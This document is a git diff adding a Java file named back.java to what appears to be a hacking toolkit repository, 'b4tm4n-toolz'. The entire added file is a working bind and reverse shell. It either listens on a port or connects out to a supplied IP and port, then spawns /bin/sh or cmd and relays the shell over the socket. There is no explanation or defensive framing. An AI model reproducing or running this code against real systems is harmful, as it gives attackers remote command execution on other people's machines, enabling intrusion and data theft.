Added B4TM4N TOOLZ

From: https://github.com/k4mpr3t/b4tm4n-toolz

b4tm4n-toolz/backconnect/back.java

@@ -0,0 +1,57 @@
+import java.io.*;
+import java.net.*;
+
+public class b4tm4n_rs{
+	private static final class pt extends Thread{
+		private InputStream is;
+		private OutputStream out;
+
+		public pt(InputStream is, OutputStream out){this.is=is;this.out=out;}
+
+		@Override
+		public void run(){
+			try{
+				byte[] b = new byte[8192];
+				int c = is.read(b);
+				while(c>=0) {
+					out.write(b,0,c);
+					out.flush();
+					c = is.read(b);
+				}
+			}
+			catch(Exception e){e.printStackTrace();}
+		}
+	}
+
+	public static void main(String[] args){
+		int port;
+		String cmd = "/bin/sh";
+		if(System.getProperty("os.name").toLowerCase().indexOf("win")>=0){cmd = "cmd";}
+		String w = "b4tm4n shell : connected\n";
+		byte[] b = w.getBytes();
+		Socket h = new Socket();
+		try{
+			if(args.length==1){
+				port = Integer.parseInt(args[0]);
+				ServerSocket s = new ServerSocket(port);
+				h = s.accept();
+			}
+			else if(args.length==2){
+				port = Integer.parseInt(args[0]);
+				String ip = args[1];
+				h = new Socket(ip, port);
+			}
+			if(args.length==1 || args.length==2){
+				InputStream gis = h.getInputStream();
+				OutputStream gos = h.getOutputStream();
+				gos.write(b);
+				Process p = Runtime.getRuntime().exec(cmd);
+
+				pt p1 = new pt(p.getInputStream(), gos);
+				pt p2 = new pt(gis, p.getOutputStream());
+				p1.start();p2.start();
+			}
+		}
+		catch(Exception e){e.printStackTrace();}
+	}
+}